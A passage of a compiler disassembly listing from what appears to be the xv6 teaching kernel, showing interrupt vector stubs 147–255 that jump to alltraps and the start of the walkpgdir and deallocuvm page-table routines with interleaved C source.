.globl vector147 vector147: pushl $0 80105e3a: 6a 00 push $0x0 pushl $147 80105e3c: 68 93 00 00 00 push $0x93 jmp alltraps 80105e41: e9 07 f6 ff ff jmp 8010544d <alltraps> 80105e46 <vector148>: .globl vector148 vector148: pushl $0 80105e46: 6a 00 push $0x0 pushl $148 80105e48: 68 94 00 00 00 push $0x94 jmp alltraps 80105e4d: e9 fb f5 ff ff jmp 8010544d <alltraps> 80105e52 <vector149>: .globl vector149 vector149: pushl $0 80105e52: 6a 00 push $0x0 pushl $149 80105e54: 68 95 00 00 00 push $0x95 jmp alltraps 80105e59: e9 ef f5 ff ff jmp 8010544d <alltraps> 80105e5e <vector150>: .globl vector150 vector150: pushl $0 80105e5e: 6a 00 push $0x0 pushl $150 80105e60: 68 96 00 00 00 push $0x96 jmp alltraps 80105e65: e9 e3 f5 ff ff jmp 8010544d <alltraps> 80105e6a <vector151>: .globl vector151 vector151: pushl $0 80105e6a: 6a 00 push $0x0 pushl $151 80105e6c: 68 97 00 00 00 push $0x97 jmp alltraps 80105e71: e9 d7 f5 ff ff jmp 8010544d <alltraps> 80105e76 <vector152>: .globl vector152 vector152: pushl $0 80105e76: 6a 00 push $0x0 pushl $152 80105e78: 68 98 00 00 00 push $0x98 jmp alltraps 80105e7d: e9 cb f5 ff ff jmp 8010544d <alltraps> 80105e82 <vector153>: .globl vector153 vector153: pushl $0 80105e82: 6a 00 push $0x0 pushl $153 80105e84: 68 99 00 00 00 push $0x99 jmp alltraps 80105e89: e9 bf f5 ff ff jmp 8010544d <alltraps> 80105e8e <vector154>: .globl vector154 vector154: pushl $0 80105e8e: 6a 00 push $0x0 pushl $154 80105e90: 68 9a 00 00 00 push $0x9a jmp alltraps 80105e95: e9 b3 f5 ff ff jmp 8010544d <alltraps> 80105e9a <vector155>: .globl vector155 vector155: pushl $0 80105e9a: 6a 00 push $0x0 pushl $155 80105e9c: 68 9b 00 00 00 push $0x9b jmp alltraps 80105ea1: e9 a7 f5 ff ff jmp 8010544d <alltraps> 80105ea6 <vector156>: .globl vector156 vector156: pushl $0 80105ea6: 6a 00 push $0x0 pushl $156 80105ea8: 68 9c 00 00 00 push $0x9c jmp alltraps 80105ead: e9 9b f5 ff ff jmp 8010544d <alltraps> 80105eb2 <vector157>: .globl vector157 vector157: pushl $0 80105eb2: 6a 00 push $0x0 pushl $157 80105eb4: 68 9d 00 00 00 push $0x9d jmp alltraps 80105eb9: e9 8f f5 ff ff jmp 8010544d <alltraps> 80105ebe <vector158>: .globl vector158 vector158: pushl $0 80105ebe: 6a 00 push $0x0 pushl $158 80105ec0: 68 9e 00 00 00 push $0x9e jmp alltraps 80105ec5: e9 83 f5 ff ff jmp 8010544d <alltraps> 80105eca <vector159>: .globl vector159 vector159: pushl $0 80105eca: 6a 00 push $0x0 pushl $159 80105ecc: 68 9f 00 00 00 push $0x9f jmp alltraps 80105ed1: e9 77 f5 ff ff jmp 8010544d <alltraps> 80105ed6 <vector160>: .globl vector160 vector160: pushl $0 80105ed6: 6a 00 push $0x0 pushl $160 80105ed8: 68 a0 00 00 00 push $0xa0 jmp alltraps 80105edd: e9 6b f5 ff ff jmp 8010544d <alltraps> 80105ee2 <vector161>: .globl vector161 vector161: pushl $0 80105ee2: 6a 00 push $0x0 pushl $161 80105ee4: 68 a1 00 00 00 push $0xa1 jmp alltraps 80105ee9: e9 5f f5 ff ff jmp 8010544d <alltraps> 80105eee <vector162>: .globl vector162 vector162: pushl $0 80105eee: 6a 00 push $0x0 pushl $162 80105ef0: 68 a2 00 00 00 push $0xa2 jmp alltraps 80105ef5: e9 53 f5 ff ff jmp 8010544d <alltraps> 80105efa <vector163>: .globl vector163 vector163: pushl $0 80105efa: 6a 00 push $0x0 pushl $163 80105efc: 68 a3 00 00 00 push $0xa3 jmp alltraps 80105f01: e9 47 f5 ff ff jmp 8010544d <alltraps> 80105f06 <vector164>: .globl vector164 vector164: pushl $0 80105f06: 6a 00 push $0x0 pushl $164 80105f08: 68 a4 00 00 00 push $0xa4 jmp alltraps 80105f0d: e9 3b f5 ff ff jmp 8010544d <alltraps> 80105f12 <vector165>: .globl vector165 vector165: pushl $0 80105f12: 6a 00 push $0x0 pushl $165 80105f14: 68 a5 00 00 00 push $0xa5 jmp alltraps 80105f19: e9 2f f5 ff ff jmp 8010544d <alltraps> 80105f1e <vector166>: .globl vector166 vector166: pushl $0 80105f1e: 6a 00 push $0x0 pushl $166 80105f20: 68 a6 00 00 00 push $0xa6 jmp alltraps 80105f25: e9 23 f5 ff ff jmp 8010544d <alltraps> 80105f2a <vector167>: .globl vector167 vector167: pushl $0 80105f2a: 6a 00 push $0x0 pushl $167 80105f2c: 68 a7 00 00 00 push $0xa7 jmp alltraps 80105f31: e9 17 f5 ff ff jmp 8010544d <alltraps> 80105f36 <vector168>: .globl vector168 vector168: pushl $0 80105f36: 6a 00 push $0x0 pushl $168 80105f38: 68 a8 00 00 00 push $0xa8 jmp alltraps 80105f3d: e9 0b f5 ff ff jmp 8010544d <alltraps> 80105f42 <vector169>: .globl vector169 vector169: pushl $0 80105f42: 6a 00 push $0x0 pushl $169 80105f44: 68 a9 00 00 00 push $0xa9 jmp alltraps 80105f49: e9 ff f4 ff ff jmp 8010544d <alltraps> 80105f4e <vector170>: .globl vector170 vector170: pushl $0 80105f4e: 6a 00 push $0x0 pushl $170 80105f50: 68 aa 00 00 00 push $0xaa jmp alltraps 80105f55: e9 f3 f4 ff ff jmp 8010544d <alltraps> 80105f5a <vector171>: .globl vector171 vector171: pushl $0 80105f5a: 6a 00 push $0x0 pushl $171 80105f5c: 68 ab 00 00 00 push $0xab jmp alltraps 80105f61: e9 e7 f4 ff ff jmp 8010544d <alltraps> 80105f66 <vector172>: .globl vector172 vector172: pushl $0 80105f66: 6a 00 push $0x0 pushl $172 80105f68: 68 ac 00 00 00 push $0xac jmp alltraps 80105f6d: e9 db f4 ff ff jmp 8010544d <alltraps> 80105f72 <vector173>: .globl vector173 vector173: pushl $0 80105f72: 6a 00 push $0x0 pushl $173 80105f74: 68 ad 00 00 00 push $0xad jmp alltraps 80105f79: e9 cf f4 ff ff jmp 8010544d <alltraps> 80105f7e <vector174>: .globl vector174 vector174: pushl $0 80105f7e: 6a 00 push $0x0 pushl $174 80105f80: 68 ae 00 00 00 push $0xae jmp alltraps 80105f85: e9 c3 f4 ff ff jmp 8010544d <alltraps> 80105f8a <vector175>: .globl vector175 vector175: pushl $0 80105f8a: 6a 00 push $0x0 pushl $175 80105f8c: 68 af 00 00 00 push $0xaf jmp alltraps 80105f91: e9 b7 f4 ff ff jmp 8010544d <alltraps> 80105f96 <vector176>: .globl vector176 vector176: pushl $0 80105f96: 6a 00 push $0x0 pushl $176 80105f98: 68 b0 00 00 00 push $0xb0 jmp alltraps 80105f9d: e9 ab f4 ff ff jmp 8010544d <alltraps> 80105fa2 <vector177>: .globl vector177 vector177: pushl $0 80105fa2: 6a 00 push $0x0 pushl $177 80105fa4: 68 b1 00 00 00 push $0xb1 jmp alltraps 80105fa9: e9 9f f4 ff ff jmp 8010544d <alltraps> 80105fae <vector178>: .globl vector178 vector178: pushl $0 80105fae: 6a 00 push $0x0 pushl $178 80105fb0: 68 b2 00 00 00 push $0xb2 jmp alltraps 80105fb5: e9 93 f4 ff ff jmp 8010544d <alltraps> 80105fba <vector179>: .globl vector179 vector179: pushl $0 80105fba: 6a 00 push $0x0 pushl $179 80105fbc: 68 b3 00 00 00 push $0xb3 jmp alltraps 80105fc1: e9 87 f4 ff ff jmp 8010544d <alltraps> 80105fc6 <vector180>: .globl vector180 vector180: pushl $0 80105fc6: 6a 00 push $0x0 pushl $180 80105fc8: 68 b4 00 00 00 push $0xb4 jmp alltraps 80105fcd: e9 7b f4 ff ff jmp 8010544d <alltraps> 80105fd2 <vector181>: .globl vector181 vector181: pushl $0 80105fd2: 6a 00 push $0x0 pushl $181 80105fd4: 68 b5 00 00 00 push $0xb5 jmp alltraps 80105fd9: e9 6f f4 ff ff jmp 8010544d <alltraps> 80105fde <vector182>: .globl vector182 vector182: pushl $0 80105fde: 6a 00 push $0x0 pushl $182 80105fe0: 68 b6 00 00 00 push $0xb6 jmp alltraps 80105fe5: e9 63 f4 ff ff jmp 8010544d <alltraps> 80105fea <vector183>: .globl vector183 vector183: pushl $0 80105fea: 6a 00 push $0x0 pushl $183 80105fec: 68 b7 00 00 00 push $0xb7 jmp alltraps 80105ff1: e9 57 f4 ff ff jmp 8010544d <alltraps> 80105ff6 <vector184>: .globl vector184 vector184: pushl $0 80105ff6: 6a 00 push $0x0 pushl $184 80105ff8: 68 b8 00 00 00 push $0xb8 jmp alltraps 80105ffd: e9 4b f4 ff ff jmp 8010544d <alltraps> 80106002 <vector185>: .globl vector185 vector185: pushl $0 80106002: 6a 00 push $0x0 pushl $185 80106004: 68 b9 00 00 00 push $0xb9 jmp alltraps 80106009: e9 3f f4 ff ff jmp 8010544d <alltraps> 8010600e <vector186>: .globl vector186 vector186: pushl $0 8010600e: 6a 00 push $0x0 pushl $186 80106010: 68 ba 00 00 00 push $0xba jmp alltraps 80106015: e9 33 f4 ff ff jmp 8010544d <alltraps> 8010601a <vector187>: .globl vector187 vector187: pushl $0 8010601a: 6a 00 push $0x0 pushl $187 8010601c: 68 bb 00 00 00 push $0xbb jmp alltraps 80106021: e9 27 f4 ff ff jmp 8010544d <alltraps> 80106026 <vector188>: .globl vector188 vector188: pushl $0 80106026: 6a 00 push $0x0 pushl $188 80106028: 68 bc 00 00 00 push $0xbc jmp alltraps 8010602d: e9 1b f4 ff ff jmp 8010544d <alltraps> 80106032 <vector189>: .globl vector189 vector189: pushl $0 80106032: 6a 00 push $0x0 pushl $189 80106034: 68 bd 00 00 00 push $0xbd jmp alltraps 80106039: e9 0f f4 ff ff jmp 8010544d <alltraps> 8010603e <vector190>: .globl vector190 vector190: pushl $0 8010603e: 6a 00 push $0x0 pushl $190 80106040: 68 be 00 00 00 push $0xbe jmp alltraps 80106045: e9 03 f4 ff ff jmp 8010544d <alltraps> 8010604a <vector191>: .globl vector191 vector191: pushl $0 8010604a: 6a 00 push $0x0 pushl $191 8010604c: 68 bf 00 00 00 push $0xbf jmp alltraps 80106051: e9 f7 f3 ff ff jmp 8010544d <alltraps> 80106056 <vector192>: .globl vector192 vector192: pushl $0 80106056: 6a 00 push $0x0 pushl $192 80106058: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010605d: e9 eb f3 ff ff jmp 8010544d <alltraps> 80106062 <vector193>: .globl vector193 vector193: pushl $0 80106062: 6a 00 push $0x0 pushl $193 80106064: 68 c1 00 00 00 push $0xc1 jmp alltraps 80106069: e9 df f3 ff ff jmp 8010544d <alltraps> 8010606e <vector194>: .globl vector194 vector194: pushl $0 8010606e: 6a 00 push $0x0 pushl $194 80106070: 68 c2 00 00 00 push $0xc2 jmp alltraps 80106075: e9 d3 f3 ff ff jmp 8010544d <alltraps> 8010607a <vector195>: .globl vector195 vector195: pushl $0 8010607a: 6a 00 push $0x0 pushl $195 8010607c: 68 c3 00 00 00 push $0xc3 jmp alltraps 80106081: e9 c7 f3 ff ff jmp 8010544d <alltraps> 80106086 <vector196>: .globl vector196 vector196: pushl $0 80106086: 6a 00 push $0x0 pushl $196 80106088: 68 c4 00 00 00 push $0xc4 jmp alltraps 8010608d: e9 bb f3 ff ff jmp 8010544d <alltraps> 80106092 <vector197>: .globl vector197 vector197: pushl $0 80106092: 6a 00 push $0x0 pushl $197 80106094: 68 c5 00 00 00 push $0xc5 jmp alltraps 80106099: e9 af f3 ff ff jmp 8010544d <alltraps> 8010609e <vector198>: .globl vector198 vector198: pushl $0 8010609e: 6a 00 push $0x0 pushl $198 801060a0: 68 c6 00 00 00 push $0xc6 jmp alltraps 801060a5: e9 a3 f3 ff ff jmp 8010544d <alltraps> 801060aa <vector199>: .globl vector199 vector199: pushl $0 801060aa: 6a 00 push $0x0 pushl $199 801060ac: 68 c7 00 00 00 push $0xc7 jmp alltraps 801060b1: e9 97 f3 ff ff jmp 8010544d <alltraps> 801060b6 <vector200>: .globl vector200 vector200: pushl $0 801060b6: 6a 00 push $0x0 pushl $200 801060b8: 68 c8 00 00 00 push $0xc8 jmp alltraps 801060bd: e9 8b f3 ff ff jmp 8010544d <alltraps> 801060c2 <vector201>: .globl vector201 vector201: pushl $0 801060c2: 6a 00 push $0x0 pushl $201 801060c4: 68 c9 00 00 00 push $0xc9 jmp alltraps 801060c9: e9 7f f3 ff ff jmp 8010544d <alltraps> 801060ce <vector202>: .globl vector202 vector202: pushl $0 801060ce: 6a 00 push $0x0 pushl $202 801060d0: 68 ca 00 00 00 push $0xca jmp alltraps 801060d5: e9 73 f3 ff ff jmp 8010544d <alltraps> 801060da <vector203>: .globl vector203 vector203: pushl $0 801060da: 6a 00 push $0x0 pushl $203 801060dc: 68 cb 00 00 00 push $0xcb jmp alltraps 801060e1: e9 67 f3 ff ff jmp 8010544d <alltraps> 801060e6 <vector204>: .globl vector204 vector204: pushl $0 801060e6: 6a 00 push $0x0 pushl $204 801060e8: 68 cc 00 00 00 push $0xcc jmp alltraps 801060ed: e9 5b f3 ff ff jmp 8010544d <alltraps> 801060f2 <vector205>: .globl vector205 vector205: pushl $0 801060f2: 6a 00 push $0x0 pushl $205 801060f4: 68 cd 00 00 00 push $0xcd jmp alltraps 801060f9: e9 4f f3 ff ff jmp 8010544d <alltraps> 801060fe <vector206>: .globl vector206 vector206: pushl $0 801060fe: 6a 00 push $0x0 pushl $206 80106100: 68 ce 00 00 00 push $0xce jmp alltraps 80106105: e9 43 f3 ff ff jmp 8010544d <alltraps> 8010610a <vector207>: .globl vector207 vector207: pushl $0 8010610a: 6a 00 push $0x0 pushl $207 8010610c: 68 cf 00 00 00 push $0xcf jmp alltraps 80106111: e9 37 f3 ff ff jmp 8010544d <alltraps> 80106116 <vector208>: .globl vector208 vector208: pushl $0 80106116: 6a 00 push $0x0 pushl $208 80106118: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010611d: e9 2b f3 ff ff jmp 8010544d <alltraps> 80106122 <vector209>: .globl vector209 vector209: pushl $0 80106122: 6a 00 push $0x0 pushl $209 80106124: 68 d1 00 00 00 push $0xd1 jmp alltraps 80106129: e9 1f f3 ff ff jmp 8010544d <alltraps> 8010612e <vector210>: .globl vector210 vector210: pushl $0 8010612e: 6a 00 push $0x0 pushl $210 80106130: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106135: e9 13 f3 ff ff jmp 8010544d <alltraps> 8010613a <vector211>: .globl vector211 vector211: pushl $0 8010613a: 6a 00 push $0x0 pushl $211 8010613c: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106141: e9 07 f3 ff ff jmp 8010544d <alltraps> 80106146 <vector212>: .globl vector212 vector212: pushl $0 80106146: 6a 00 push $0x0 pushl $212 80106148: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010614d: e9 fb f2 ff ff jmp 8010544d <alltraps> 80106152 <vector213>: .globl vector213 vector213: pushl $0 80106152: 6a 00 push $0x0 pushl $213 80106154: 68 d5 00 00 00 push $0xd5 jmp alltraps 80106159: e9 ef f2 ff ff jmp 8010544d <alltraps> 8010615e <vector214>: .globl vector214 vector214: pushl $0 8010615e: 6a 00 push $0x0 pushl $214 80106160: 68 d6 00 00 00 push $0xd6 jmp alltraps 80106165: e9 e3 f2 ff ff jmp 8010544d <alltraps> 8010616a <vector215>: .globl vector215 vector215: pushl $0 8010616a: 6a 00 push $0x0 pushl $215 8010616c: 68 d7 00 00 00 push $0xd7 jmp alltraps 80106171: e9 d7 f2 ff ff jmp 8010544d <alltraps> 80106176 <vector216>: .globl vector216 vector216: pushl $0 80106176: 6a 00 push $0x0 pushl $216 80106178: 68 d8 00 00 00 push $0xd8 jmp alltraps 8010617d: e9 cb f2 ff ff jmp 8010544d <alltraps> 80106182 <vector217>: .globl vector217 vector217: pushl $0 80106182: 6a 00 push $0x0 pushl $217 80106184: 68 d9 00 00 00 push $0xd9 jmp alltraps 80106189: e9 bf f2 ff ff jmp 8010544d <alltraps> 8010618e <vector218>: .globl vector218 vector218: pushl $0 8010618e: 6a 00 push $0x0 pushl $218 80106190: 68 da 00 00 00 push $0xda jmp alltraps 80106195: e9 b3 f2 ff ff jmp 8010544d <alltraps> 8010619a <vector219>: .globl vector219 vector219: pushl $0 8010619a: 6a 00 push $0x0 pushl $219 8010619c: 68 db 00 00 00 push $0xdb jmp alltraps 801061a1: e9 a7 f2 ff ff jmp 8010544d <alltraps> 801061a6 <vector220>: .globl vector220 vector220: pushl $0 801061a6: 6a 00 push $0x0 pushl $220 801061a8: 68 dc 00 00 00 push $0xdc jmp alltraps 801061ad: e9 9b f2 ff ff jmp 8010544d <alltraps> 801061b2 <vector221>: .globl vector221 vector221: pushl $0 801061b2: 6a 00 push $0x0 pushl $221 801061b4: 68 dd 00 00 00 push $0xdd jmp alltraps 801061b9: e9 8f f2 ff ff jmp 8010544d <alltraps> 801061be <vector222>: .globl vector222 vector222: pushl $0 801061be: 6a 00 push $0x0 pushl $222 801061c0: 68 de 00 00 00 push $0xde jmp alltraps 801061c5: e9 83 f2 ff ff jmp 8010544d <alltraps> 801061ca <vector223>: .globl vector223 vector223: pushl $0 801061ca: 6a 00 push $0x0 pushl $223 801061cc: 68 df 00 00 00 push $0xdf jmp alltraps 801061d1: e9 77 f2 ff ff jmp 8010544d <alltraps> 801061d6 <vector224>: .globl vector224 vector224: pushl $0 801061d6: 6a 00 push $0x0 pushl $224 801061d8: 68 e0 00 00 00 push $0xe0 jmp alltraps 801061dd: e9 6b f2 ff ff jmp 8010544d <alltraps> 801061e2 <vector225>: .globl vector225 vector225: pushl $0 801061e2: 6a 00 push $0x0 pushl $225 801061e4: 68 e1 00 00 00 push $0xe1 jmp alltraps 801061e9: e9 5f f2 ff ff jmp 8010544d <alltraps> 801061ee <vector226>: .globl vector226 vector226: pushl $0 801061ee: 6a 00 push $0x0 pushl $226 801061f0: 68 e2 00 00 00 push $0xe2 jmp alltraps 801061f5: e9 53 f2 ff ff jmp 8010544d <alltraps> 801061fa <vector227>: .globl vector227 vector227: pushl $0 801061fa: 6a 00 push $0x0 pushl $227 801061fc: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106201: e9 47 f2 ff ff jmp 8010544d <alltraps> 80106206 <vector228>: .globl vector228 vector228: pushl $0 80106206: 6a 00 push $0x0 pushl $228 80106208: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010620d: e9 3b f2 ff ff jmp 8010544d <alltraps> 80106212 <vector229>: .globl vector229 vector229: pushl $0 80106212: 6a 00 push $0x0 pushl $229 80106214: 68 e5 00 00 00 push $0xe5 jmp alltraps 80106219: e9 2f f2 ff ff jmp 8010544d <alltraps> 8010621e <vector230>: .globl vector230 vector230: pushl $0 8010621e: 6a 00 push $0x0 pushl $230 80106220: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106225: e9 23 f2 ff ff jmp 8010544d <alltraps> 8010622a <vector231>: .globl vector231 vector231: pushl $0 8010622a: 6a 00 push $0x0 pushl $231 8010622c: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106231: e9 17 f2 ff ff jmp 8010544d <alltraps> 80106236 <vector232>: .globl vector232 vector232: pushl $0 80106236: 6a 00 push $0x0 pushl $232 80106238: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010623d: e9 0b f2 ff ff jmp 8010544d <alltraps> 80106242 <vector233>: .globl vector233 vector233: pushl $0 80106242: 6a 00 push $0x0 pushl $233 80106244: 68 e9 00 00 00 push $0xe9 jmp alltraps 80106249: e9 ff f1 ff ff jmp 8010544d <alltraps> 8010624e <vector234>: .globl vector234 vector234: pushl $0 8010624e: 6a 00 push $0x0 pushl $234 80106250: 68 ea 00 00 00 push $0xea jmp alltraps 80106255: e9 f3 f1 ff ff jmp 8010544d <alltraps> 8010625a <vector235>: .globl vector235 vector235: pushl $0 8010625a: 6a 00 push $0x0 pushl $235 8010625c: 68 eb 00 00 00 push $0xeb jmp alltraps 80106261: e9 e7 f1 ff ff jmp 8010544d <alltraps> 80106266 <vector236>: .globl vector236 vector236: pushl $0 80106266: 6a 00 push $0x0 pushl $236 80106268: 68 ec 00 00 00 push $0xec jmp alltraps 8010626d: e9 db f1 ff ff jmp 8010544d <alltraps> 80106272 <vector237>: .globl vector237 vector237: pushl $0 80106272: 6a 00 push $0x0 pushl $237 80106274: 68 ed 00 00 00 push $0xed jmp alltraps 80106279: e9 cf f1 ff ff jmp 8010544d <alltraps> 8010627e <vector238>: .globl vector238 vector238: pushl $0 8010627e: 6a 00 push $0x0 pushl $238 80106280: 68 ee 00 00 00 push $0xee jmp alltraps 80106285: e9 c3 f1 ff ff jmp 8010544d <alltraps> 8010628a <vector239>: .globl vector239 vector239: pushl $0 8010628a: 6a 00 push $0x0 pushl $239 8010628c: 68 ef 00 00 00 push $0xef jmp alltraps 80106291: e9 b7 f1 ff ff jmp 8010544d <alltraps> 80106296 <vector240>: .globl vector240 vector240: pushl $0 80106296: 6a 00 push $0x0 pushl $240 80106298: 68 f0 00 00 00 push $0xf0 jmp alltraps 8010629d: e9 ab f1 ff ff jmp 8010544d <alltraps> 801062a2 <vector241>: .globl vector241 vector241: pushl $0 801062a2: 6a 00 push $0x0 pushl $241 801062a4: 68 f1 00 00 00 push $0xf1 jmp alltraps 801062a9: e9 9f f1 ff ff jmp 8010544d <alltraps> 801062ae <vector242>: .globl vector242 vector242: pushl $0 801062ae: 6a 00 push $0x0 pushl $242 801062b0: 68 f2 00 00 00 push $0xf2 jmp alltraps 801062b5: e9 93 f1 ff ff jmp 8010544d <alltraps> 801062ba <vector243>: .globl vector243 vector243: pushl $0 801062ba: 6a 00 push $0x0 pushl $243 801062bc: 68 f3 00 00 00 push $0xf3 jmp alltraps 801062c1: e9 87 f1 ff ff jmp 8010544d <alltraps> 801062c6 <vector244>: .globl vector244 vector244: pushl $0 801062c6: 6a 00 push $0x0 pushl $244 801062c8: 68 f4 00 00 00 push $0xf4 jmp alltraps 801062cd: e9 7b f1 ff ff jmp 8010544d <alltraps> 801062d2 <vector245>: .globl vector245 vector245: pushl $0 801062d2: 6a 00 push $0x0 pushl $245 801062d4: 68 f5 00 00 00 push $0xf5 jmp alltraps 801062d9: e9 6f f1 ff ff jmp 8010544d <alltraps> 801062de <vector246>: .globl vector246 vector246: pushl $0 801062de: 6a 00 push $0x0 pushl $246 801062e0: 68 f6 00 00 00 push $0xf6 jmp alltraps 801062e5: e9 63 f1 ff ff jmp 8010544d <alltraps> 801062ea <vector247>: .globl vector247 vector247: pushl $0 801062ea: 6a 00 push $0x0 pushl $247 801062ec: 68 f7 00 00 00 push $0xf7 jmp alltraps 801062f1: e9 57 f1 ff ff jmp 8010544d <alltraps> 801062f6 <vector248>: .globl vector248 vector248: pushl $0 801062f6: 6a 00 push $0x0 pushl $248 801062f8: 68 f8 00 00 00 push $0xf8 jmp alltraps 801062fd: e9 4b f1 ff ff jmp 8010544d <alltraps> 80106302 <vector249>: .globl vector249 vector249: pushl $0 80106302: 6a 00 push $0x0 pushl $249 80106304: 68 f9 00 00 00 push $0xf9 jmp alltraps 80106309: e9 3f f1 ff ff jmp 8010544d <alltraps> 8010630e <vector250>: .globl vector250 vector250: pushl $0 8010630e: 6a 00 push $0x0 pushl $250 80106310: 68 fa 00 00 00 push $0xfa jmp alltraps 80106315: e9 33 f1 ff ff jmp 8010544d <alltraps> 8010631a <vector251>: .globl vector251 vector251: pushl $0 8010631a: 6a 00 push $0x0 pushl $251 8010631c: 68 fb 00 00 00 push $0xfb jmp alltraps 80106321: e9 27 f1 ff ff jmp 8010544d <alltraps> 80106326 <vector252>: .globl vector252 vector252: pushl $0 80106326: 6a 00 push $0x0 pushl $252 80106328: 68 fc 00 00 00 push $0xfc jmp alltraps 8010632d: e9 1b f1 ff ff jmp 8010544d <alltraps> 80106332 <vector253>: .globl vector253 vector253: pushl $0 80106332: 6a 00 push $0x0 pushl $253 80106334: 68 fd 00 00 00 push $0xfd jmp alltraps 80106339: e9 0f f1 ff ff jmp 8010544d <alltraps> 8010633e <vector254>: .globl vector254 vector254: pushl $0 8010633e: 6a 00 push $0x0 pushl $254 80106340: 68 fe 00 00 00 push $0xfe jmp alltraps 80106345: e9 03 f1 ff ff jmp 8010544d <alltraps> 8010634a <vector255>: .globl vector255 vector255: pushl $0 8010634a: 6a 00 push $0x0 pushl $255 8010634c: 68 ff 00 00 00 push $0xff jmp alltraps 80106351: e9 f7 f0 ff ff jmp 8010544d <alltraps> 80106356: 66 90 xchg %ax,%ax 80106358: 66 90 xchg %ax,%ax 8010635a: 66 90 xchg %ax,%ax 8010635c: 66 90 xchg %ax,%ax 8010635e: 66 90 xchg %ax,%ax 80106360 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 80106360: 55 push %ebp 80106361: 89 e5 mov %esp,%ebp 80106363: 57 push %edi 80106364: 56 push %esi 80106365: 89 d6 mov %edx,%esi pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80106367: c1 ea 16 shr $0x16,%edx { 8010636a: 53 push %ebx pde = &pgdir[PDX(va)]; 8010636b: 8d 3c 90 lea (%eax,%edx,4),%edi { 8010636e: 83 ec 1c sub $0x1c,%esp if(*pde & PTE_P){ 80106371: 8b 1f mov (%edi),%ebx 80106373: f6 c3 01 test $0x1,%bl 80106376: 74 28 je 801063a0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 80106378: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 8010637e: 81 c3 00 00 00 80 add $0x80000000,%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 80106384: c1 ee 0a shr $0xa,%esi } 80106387: 83 c4 1c add $0x1c,%esp return &pgtab[PTX(va)]; 8010638a: 89 f2 mov %esi,%edx 8010638c: 81 e2 fc 0f 00 00 and $0xffc,%edx 80106392: 8d 04 13 lea (%ebx,%edx,1),%eax } 80106395: 5b pop %ebx 80106396: 5e pop %esi 80106397: 5f pop %edi 80106398: 5d pop %ebp 80106399: c3 ret 8010639a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801063a0: 85 c9 test %ecx,%ecx 801063a2: 74 34 je 801063d8 <walkpgdir+0x78> 801063a4: e8 07 c1 ff ff call 801024b0 <kalloc> 801063a9: 85 c0 test %eax,%eax 801063ab: 89 c3 mov %eax,%ebx 801063ad: 74 29 je 801063d8 <walkpgdir+0x78> memset(pgtab, 0, PGSIZE); 801063af: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801063b6: 00 801063b7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801063be: 00 801063bf: 89 04 24 mov %eax,(%esp) 801063c2: e8 c9 de ff ff call 80104290 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801063c7: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801063cd: 83 c8 07 or $0x7,%eax 801063d0: 89 07 mov %eax,(%edi) 801063d2: eb b0 jmp 80106384 <walkpgdir+0x24> 801063d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } 801063d8: 83 c4 1c add $0x1c,%esp return 0; 801063db: 31 c0 xor %eax,%eax } 801063dd: 5b pop %ebx 801063de: 5e pop %esi 801063df: 5f pop %edi 801063e0: 5d pop %ebp 801063e1: c3 ret 801063e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801063e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801063f0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801063f0: 55 push %ebp 801063f1: 89 e5 mov %esp,%ebp 801063f3: 57 push %edi 801063f4: 89 c7 mov %eax,%edi 801063f6: 56 push %esi 801063f7: 89 d6 mov %edx,%esi 801063f9: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801063fa: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106400: 83 ec 1c sub $0x1c,%esp a = PGROUNDUP(newsz); 80106403: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106409: 39 d3 cmp %edx,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 8010640b: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 8010640e: 72 3b jb 8010644b <deallocuvm.part.0+0x5b> 80106410: eb 5e jmp 80106470 <deallocuvm.part.0+0x80> 80106412: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106418: 8b 10 mov (%eax),%edx 8010641a: f6 c2 01 test $0x1,%dl 8010641d: 74 22 je 80106441 <deallocuvm.part.0+0x51> pa = PTE_ADDR(*pte); if(pa == 0) 8010641f: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106425: 74 54 je 8010647b <deallocuvm.part.0+0x8b> panic("kfree"); char *v = P2V(pa); 80106427: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 8010642d: 89 14 24 